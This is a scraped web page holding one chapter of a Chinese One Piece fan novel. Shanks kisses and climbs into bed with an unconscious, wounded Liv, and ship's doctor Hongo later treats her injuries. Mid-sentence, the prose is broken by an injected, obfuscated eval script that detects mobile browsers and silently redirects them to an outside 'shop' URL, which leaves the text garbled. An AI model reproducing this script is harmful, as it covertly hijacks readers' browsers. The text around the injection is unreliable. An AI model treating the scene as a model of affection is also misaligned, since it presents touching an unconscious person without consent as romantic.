63.所谓吓到
作品:《明明是退休,我却在伟大航路重新变强》 时间一点点过去,最后在医务室门口守着的只有被强制赶走洗干净才能回来的香克斯,其他人则都被贝克曼打发走了。
按贝克曼的话来讲就是——他们都围在这里既帮不了本乡也不能让丽芙重新完好无损的站起来,还不如该干嘛干嘛去,等人醒了再来表示自己的关心。
而贝克曼自己则是在确定香克斯的情绪、状态都没什么大问题后头也不回的离开了。
今天搬进仓库的物资他还要清点一遍,看看还缺哪些东西,等第二天再去岛上找找。
等本乡精疲力尽的完成治疗工作,夜已经很深了。他揉着长时间保持不动而僵硬的肩颈打开大门,刚走出去就差点被绊倒。
好在他及时扶住门框,才避免了头栽地的下场。
等他站稳身体低头,借着月光才看清刚刚差点害他摔跤的障碍物到底是什么——是一直坐在门口蹲守到现在的香克斯。
“头儿?你堵在这儿干嘛?”本乡一脸无语,“你刚刚差点都把我绊倒了。”
“啊——本乡你出来了呀!”听到本乡的声音,香克斯一下子从地上跳了起来,无视了他刚刚话里的谴责,一把拉住他焦急地问,“情况怎么样了?”那副紧张的样子和那些在医院手术室门口焦急等待的病人家属没有两样。
“放心,没有生命危险。”本乡医生一边宽慰紧张的病患家属,一边面色不善的抬手把自己胳膊上的大手扒开。
嘶!头儿的手劲太大了,都把他给捏疼了!
“外伤主要是胸前的剑伤,已经做好了缝合,但是因撞击,所以内脏多少有点影响,好在骨头都没事,花点时间好好养养就行了。”
“到时候可以让路多做点营养补血的病号餐给丽芙小姐补补。”
“真,真的吗?”香克斯不是不相信本乡的医术水平,只是当时丽芙昏迷的场景和那温热的血液不断流到他身体,逐渐冰凉往下淌的触感实在是给他内心带来不小的震动,“丽芙她真的没事吗?手,还有胸口被砍伤的地方,都没有问题了吗?”
“真的没问题了。”又累又饿的医生叹了口气,双手搭上还想再问些什么的船长两肩,一个用力把他转了个身。
“本乡,我想......”香克斯扭过头朝医务室方向努力伸长脖子,就想亲自看看丽芙的情况,可惜还没看清医务室里的情形他就被本乡给推走了。
“有什么问题一会在问吧头儿,我现在可是又饿又困的,先让我去厨房找点吃的吧。”本乡用脚带上医务室大门关好,不停把还想往说些什么的船长大人推走了,“而且丽芙小姐现在麻醉还没醒,你看也没用啊。”
“那丽芙什么时候才会醒啊?”
“至少要到明天早上了,不过有一说一,头儿你下手也太狠了吧,丽芙小姐胸口那道伤可是从肩头划到了腰啊,难怪会出那么多血。”
“而且这么大的伤口之后肯定要留疤了。”
香克斯听到这话,好不容易提起的精神又肉眼可见的萎靡了:“那怎么办啊?丽芙酱好了以后看到自己身上多了条又丑又长的疤肯定会恨死我的!”
所以本乡,你有什么办法解决吗?
本乡对上香克斯包含期待又亮晶晶的眼睛,嘴角不自觉抽抽。
现在开始担心小姑娘会因为疤痕讨厌恨你,那当时下手干嘛那么重?
活该!
虽然本乡很想对香克斯说他没有办法,但是他的眼睛实在太亮了,而且始终直勾勾盯着他,有种他不给出个满意的答案就不放过他的架势。
本乡顿时感觉压力很大,最后只能无奈的叹气回答:“我会多配一点祛疤膏,只要丽芙小姐伤口痊愈以后每天涂抹两次,能尽可能淡化那道伤疤的痕迹。”
“但能淡化到什么程度还是要看个人体质。”
“嗯嗯!”香克斯疯狂点头,一把抓住本乡的手,满脸感动的说,“本乡,我就知道我当初选择邀请你上船成为我们海贼团的船医是再准确不过的选择了!”
本乡直接撸下香克斯的手:“......你这到底是在夸我还是夸你自己?”
在月光的注视下,两个海贼一前一后走进了早已无人的厨房。
很快,本乡就在灶台上找到了早就准备好的两份食物。只一眼他就知道,这是路提前为他准备的,而且准备的全是他爱吃的。
看着同伴的贴心,本乡嘴角不自觉上扬,也不在意食物已经冷掉,直接拿了把干净的勺子直接吃起来。
连着几个小时的精神高度集中做手术,本乡的体力早就消耗得差不多了,肚子也饿得咕咕叫。他快速扒拉着手里的饭,也不管吃太快会对胃不好这件事,不过一分钟他就已经完成了光盘行动,打了个饱嗝就回去休息。
而香克斯在吃完另一份明显是留给他的饭以后自告奋勇的说要留下洗碗,让本乡先回去休息。
早就疲惫的本乡也没有多想,只是点点头就离开了。
只是本该洗碗的香克斯在本乡离开厨房以后就直接把碗丢在水池里,偷偷跟着他后面,直到他亲眼看见本乡打着哈欠走进房间以后,鬼鬼祟祟、蹑手蹑脚得轻轻打开了医务室的大门,偷溜进了昏暗的医务室。
安静的医务室内只躺着一位病人,哪怕没有丝毫光线,他也非常轻易就根据丽芙微弱的呼吸声找到了她的位置。
他站在床前,看着仍在病床上昏迷的丽芙许久,还是没有忍住弯下腰,伸手抚上了她微凉的脸颊。
漆黑的夜晚让他看不清丽芙此刻的模样,不过他一想到自己那件能拧出鲜血的衬衫,丽芙惨白如纸的脸色就毫无预兆的浮现在他眼前。
心脏开始忍不住抽痛。
他的手轻柔地划过丽芙的眉心,发现她昏迷中还紧皱着眉头,不知道是因为疼,还是因为噩梦。
应该是疼吧,毕竟她伤得那么重。香克斯自责的想。
他一点点抚平丽芙的眉头,手指继续往下,划过高挺小巧的鼻梁,慢慢下滑到她的鼻尖下停留着,感受着丽芙每次呼吸喷洒在他手指上的细微热气,仿佛只有通过这种方式他才能确认丽芙还好好活着的事实。
他承认,这次他是真的被吓到了。
虽然他之前早就猜到丽芙的实力不弱,但是当他真正亲眼看到丽芙在战斗时表现出来的那份冷静、自信、果断、狠辣的模样,还是被惊艳到了。
真的太耀眼,太迷人了!
那杀伐果断又美丽的身影哪怕只是回想也还是会让他的心悸动不已。
他好像又听见自己心动的声音了。
那是一种和在风车村初见丽芙时完全不一样的心动,这种心动来得更凶猛,同时还带起了一种骨子里征服欲。
好想要......
这样的丽芙,他想要她只能是他的!
以至于他后面完全被这份感觉迷住了心,让他一时之间忘了他们只是在教学,他也从最开始控制着力度到不自觉认真起来,最后在面对丽芙的杀招时忍不住用了神避......
明明在最后关头,他已经意识到不对收了力道,偏了挥剑的角度,但还是来不及了。
丽芙终究还是受了重伤。
被他亲手所伤......
想到这,香克斯的眼神暗淡了不少。他小心在床边坐下,动作缓慢的俯下身,轻轻在少女的眉间落下一吻,和她的额头轻抵着,低低呢喃着:“对不起丽芙酱,下一次,我一定控制好自己,决定不会再像今天这样伤害到你,所以求你......”
“快点好起来,重新睁开眼看看我,哪怕是打我骂我都好,就是不要这样毫无生气的躺在病床上。”
这样会让我觉得,你好像随时都会死去。
寂静的空间里,只有香克斯和丽芙的呼吸声,彼此交缠。
半响,他才重新抬起身体,利索的脱了鞋子,一边蹑手蹑脚爬上病床,掀开被子钻了进去,一边又动作小心轻柔的避开少女的伤口把人揽进自己怀里,全然不顾这张病床是单人床,根本睡不了两个人的事实,以至于他有大半个身体是悬在床外的。
香克斯给怀里的丽芙重新盖好的被子,才用下巴蹭了蹭她的发顶,小声嘟囔着,“丽芙酱你的身体好冷哦,光盖被子肯定不够,我来给你暖暖,才不是故意占便宜哦。”说完他没忍住又在少女的嘴角轻啄了一下,最后还把脸埋进少女的发丝间,嗅着少女身上淡淡的气息才心满意足的闭眼睡去。
***
丽芙最后是被热醒的。
当她睁开双眼,最先映入眼帘的是小麦色肌肤,饱满的胸肌随着身体主人的呼吸正规律的一起一伏,脖颈间传来湿热的吐息一下一下的打在她的肌肤上,一条粗壮的胳膊横在她腰间却又很好的避开了她腰部的伤口。
.......
丽芙侧头看着那颗埋在她肩窝里的红脑袋,沉默了。
什么情况?她现在不是在医务室吗?这家伙为什么会抱着她睡觉啊?
感受到男人身上火热的温度还在源源不断的传递过来,丽芙也不想考虑为什么她会被这家伙抱着这件事了。
她实在是太热了!
背上已经热出一层细汗的丽芙蹙眉想伸手把横在腰间的胳膊推开,只是她刚一动,腰间的胳膊就开始收紧,把她又往男人的怀里带了几分。
而男人则是一副完全保护的姿态把她抱在怀里,埋在她颈间的头颅发出了无意识的“哼哼”,好似在表达对她动作的不满。
感觉自己现在仿佛被大火炉包围着的丽芙闭眼深呼吸,再睁开时眼眸一冷,完全不顾自己身上的伤直接把抱着她的男人给踢下了床。
一脱离男人的怀抱,清凉的温度瞬间围了过来,丽芙发出了舒适的叹息声。
太好了,终于凉快了啊!
被踹下床的香克斯和冰冷的地面来了个亲密接触,发出了重物掉落的声响,身上传来的剧痛也唤醒了香克斯沉睡的意识。
他龇着牙坐在地上揉刚刚受到重击的屁股,刚想说问谁踹的他,就对上丽芙面无表情的脸,下意识扬起标志性的笑容和她打招呼,“早上好丽芙酱,伤口还疼吗?”
不过当他看到丽芙侧身掀开被子有要下床的架势,香克斯立马从地上爬起来,紧张兮兮的把人重新按回床上,用哄孩子的语气说:“在本乡同意以前,丽芙酱都要在床上乖乖躺好哦。”说完,他还把被子重新盖好塞严实了。
还没凉快多久就被塞成毛毛虫的丽芙:.......
香克斯像是没有看到少女无语翻白眼的样子,轻拍了两下少女的头继续哄道:“丽芙酱你再睡会,我去
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17352165|196329||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
喊本乡来给你看看伤,顺便让路给你做营养餐。”
“要乖乖待在床上等我回来哦~”说完,一直都在自说自话的香克斯离开了医务室。
而丽芙在香克斯踏出医务室大门的那一秒就迫不及待地直接把被子掀开,光脚踩在冰冷的地板上,走进了医务室的独立盥洗室。
刚刚出的汗现在都变得黏糊糊了,她急需洗个澡。
【宿主,你身上还有伤,现在洗澡不好吧。】看着掉落一地的带血绷带,系统担忧的提醒,【尤其是你胸前的那道伤,沾水不仅疼而且还可能会发炎的呀。】
【之后再消毒一遍就好了。】丽芙毫不在意的踏进浴室,任由温热的洗澡水冲刷在她的伤口上,胸前那道才缝合过的伤口还在渗血状态,那些鲜血随着水流一起流下,在地面混合成粉色,【至于疼痛......这点疼痛我早就习惯了。】
是啊,她连超速再生剂的疼痛都习惯了,现在这点疼痛又算得了什么呢?
等丽芙用干净的毛巾擦干身体,裹好走出盥洗室时,被船长从床上叫起来的船医正坐在医务室的椅子上等着她,他身旁的桌子上摆放着早已准备好用来换药的干净纱布、绷带和给类消毒用品。
发现她明显洗过澡的样子,金发船医的眉头狠狠一紧,不管是目光还是说话的语气都是对她洗澡行为的严重不赞同和不满,“你应该知道自己身上还有伤不能洗澡吧。”
“抱歉,只是汗液黏腻在身上的感觉实在是太难受了。”丽芙对船医耸了下肩,语气满是对伤口的不在乎,“而且只是点小伤,不碍事的。”
“小伤?”听到病人不爱护自己身体的医生简直是要被气笑了,“你胸口那道伤再深一点,你的肩胛骨、肋骨就都该断了,说不定连内脏都会受到严重损伤!”
“这不是还没有嘛。”不爱护自己的病人自觉坐到医生的面前问,“是要换药吗?需要我坐着还是躺着?”
看着少女平淡的样子,本乡恨恨抹了把脸,在心里告诉自己这是头儿的女人这是头儿的女人这是头儿的女人,他不生气,他不生气,他不生气,他不生气,该生气该头疼的人是头儿不是他!
片刻后,终于自我催眠完成,情绪也恢复平静的本乡淡定给自己的手消毒,然后戴上一次性医用手套和口罩,一手拿酒精一手拿着纱布,对坐着的少女说,“就这么坐着面对我,把伤口露出来,我先给你消毒免得你伤口感染。”
少女没有一点羞涩,利索的解开裹在胸前的浴巾,大半个上身直接裸露在医生的视线范围内。
本乡的视线从少女布满青紫和各种大面积擦伤一一扫过,最后停留在她胸口那道最严重的刀伤上,眉头直接紧锁,眼神也变得严肃起来,那道伤还在渗血,看来这伤比他原本预估的还要再严重些。
“我现在帮你伤口消毒,会有点疼,你忍忍,如果实在忍不了告诉我,我会给你上麻药。”说完,医生开始了消毒工作。
干净的纱布倒上酒精浸湿,一点一点擦拭着少女的伤口,在将她身上所有的伤口消过毒,医生的额头上也有了一层薄汗。
“你不疼吗?”本乡突然意识到少女在整个伤口消毒的过程中没有发出一点声音,甚至连呼吸都没有紊乱,这让他忍不住好奇的问。
毕竟他们船上的大男人在受了外伤消毒时,可是一个叫得比一个惨啊。
“还好吧。”丽芙面不改色的回答,“其实习惯了也还好。”
“.......”本乡沉默了,这个答案实在是出乎他的意料,看向少女的眼神突然变得很复杂。
到底要经过多少的疼痛才会说出习惯了就好这种话?
医生沉默着拿起止血药开始往渗血的伤口上涂抹,手下的力道却不自觉轻了很多,甚至包括后面的伤口包扎也都不自觉地放轻力道,生怕少女的伤口会疼。
等所有的伤口重新包扎好以后,本乡边低头收拾东西边嘱咐道,“虽然你自己不是很在意,但是还请丽芙小姐尊重一下我的劳动成功。”
“接下来的一周里伤口不能碰水,尤其是胸前的那道,再碰水很容易发炎的!如果想洗澡可以用毛巾擦拭身体,但是伤口必须避开!”
“所有锻炼也都必须停止,如果有力气每天可以适当在甲板上散步十分钟,但是要注意别被海水溅到伤口,其余时间最好还是躺着静养。”
“吃的方面我会和路说的,禁止喝酒。”
“最后就是,每天都需要来医务室找我换药。”
“如果都记住,也没有问题的话,那丽芙小姐可以回自己房间休息了。”
医生下了逐客令。
丽芙重新裹好浴巾点点头表示自己明白了,找本乡重新拿了件干净的病号服换上,才道了个谢离开。
只剩下一个人的医生默默收拾着。把该扔的扔,该重新消毒的重新消毒,药品也一一重新放好。在结束整理后,寂静的医务室响起了几乎不可闻的叹息声。
他是不是应该把他发现的事情告诉头儿呢?
医生坐在椅子上苦恼的抓了把头发,最后破罐子破摔的站起来:“算了,这种事还是交给头儿去烦恼吧,反正也是他的人。”
有了决定的医生转身出了医务室找到了船长单独交谈了几句,之后船医恢复了开朗,船长开始苦恼。

